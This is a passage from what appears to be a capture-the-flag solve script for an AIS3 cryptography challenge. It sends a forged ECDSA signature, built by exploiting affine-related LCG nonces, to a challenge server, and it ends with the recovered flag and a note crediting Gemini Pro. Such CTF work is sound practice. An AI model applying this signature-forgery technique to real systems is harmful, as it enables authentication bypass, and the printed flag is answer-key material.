print(f"3. 輸入訊息 (Enter message): {target_message_bytes.decode()}")
print(f"4. 輸入 r (Enter r (hex)): {hex(r_flag_forged)}")
print(f"5. 輸入 s (Enter s (hex)): {hex(s_flag_forged)}")
print("如果私鑰和計算都正確,您應該能成功獲取 FLAG。")

r.sendlineafter(b": ", b"verify")
r.sendlineafter(b": ", b"give_me_flag")
r.sendlineafter(b": ", hex(r_flag_forged).encode())
r.sendlineafter(b": ", hex(s_flag_forged).encode())

r.interactive()

except ValueError as e:
print(f"\n錯誤: 輸入無效。請確保十六進制值正確。 ({e})")
r.close()
except Exception as e:
print(f"\n發生錯誤: {e}")
print("這可能是因為 (inv_s2 * r2 - a_lcg * inv_s1 * r1) % order 等於 0,導致其模反元素不存在。")
print("或者,您輸入的簽名值不正確。")
r.close()

Gemini Pro是MVP!!

AIS3{Aff1n3_nounc3s_c@N_bE_broke_ezily...}